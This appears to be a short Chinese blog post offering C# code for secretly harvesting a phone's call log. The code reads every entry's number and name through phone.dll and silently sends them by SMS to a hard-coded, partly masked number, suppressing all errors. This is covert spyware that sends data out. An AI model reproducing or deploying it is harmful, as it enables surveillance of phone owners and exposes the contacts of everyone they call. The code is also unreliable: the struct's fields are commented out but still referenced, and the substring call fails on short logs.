实现诺基亚 lumia Windows phone 的手机通话记录截取
最后更新于:2022-04-01 10:27:46
废话少说,看看代码
~~~
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using Microsoft.WindowsMobile.PocketOutlook;
namespace ReturnCall
{
class Program
{
[StructLayout(LayoutKind.Sequential)]
public struct CALLLOGENTRY
{
/*
public UInt32 cbSize;
public UInt64 ftStartTime;
public UInt64 ftEndTime;
public short iom;
public bool fOutgoing;
public bool fConnected;
public bool fEnded;
public bool fRoam;
public short cidt;
public IntPtr pszNumber;
public IntPtr pszName;
public IntPtr pszNameType;
public IntPtr pszNote;
*/
};
[DllImport("phone.dll", EntryPoint = "PhoneOpenCallLog", SetLastError = true)]
private static extern int PhoneOpenCallLog(ref IntPtr pHandle);
[DllImport("phone.dll", EntryPoint = "PhoneCloseCallLog", SetLastError = true)]
private static extern int PhoneCloseCallLog(IntPtr pHandle);
[DllImport("phone.dll", EntryPoint = "PhoneGetCallLogEntry", SetLastError = true)]
private static extern int PhoneGetCallLogEntry(IntPtr pHandke, ref CALLLOGENTRY pEntry);
static void Main(string[] args)
{
{
string CallInfo = "";
try
{
IntPtr handle = IntPtr.Zero;
CALLLOGENTRY entry = new CALLLOGENTRY();
PhoneOpenCallLog(ref handle);
entry.cbSize = (uint)Marshal.SizeOf(entry);
if (handle != IntPtr.Zero)
{
while (PhoneGetCallLogEntry(handle, ref entry) == 0)
{
string phoneNumber = Marshal.PtrToStringUni(entry.pszNumber);
string name = Marshal.PtrToStringUni(entry.pszName);
if (phoneNumber == null)
{
phoneNumber = string.Empty;
}
if (name == null)
{
name = string.Empty;
}
string temp = (phoneNumber.Trim() + name.Trim());
CallInfo = CallInfo + temp;
}
PhoneCloseCallLog(handle);
Microsoft.WindowsMobile.PocketOutlook.SmsMessage sms = new SmsMessage("151608XXXXXX", CallInfo.Substring(0, 140));
sms.Send();
}
else
{
int error = Marshal.GetLastWin32Error();
}
}
catch (Exception ep)
{
}
finally
{
}
}
}
}
}
~~~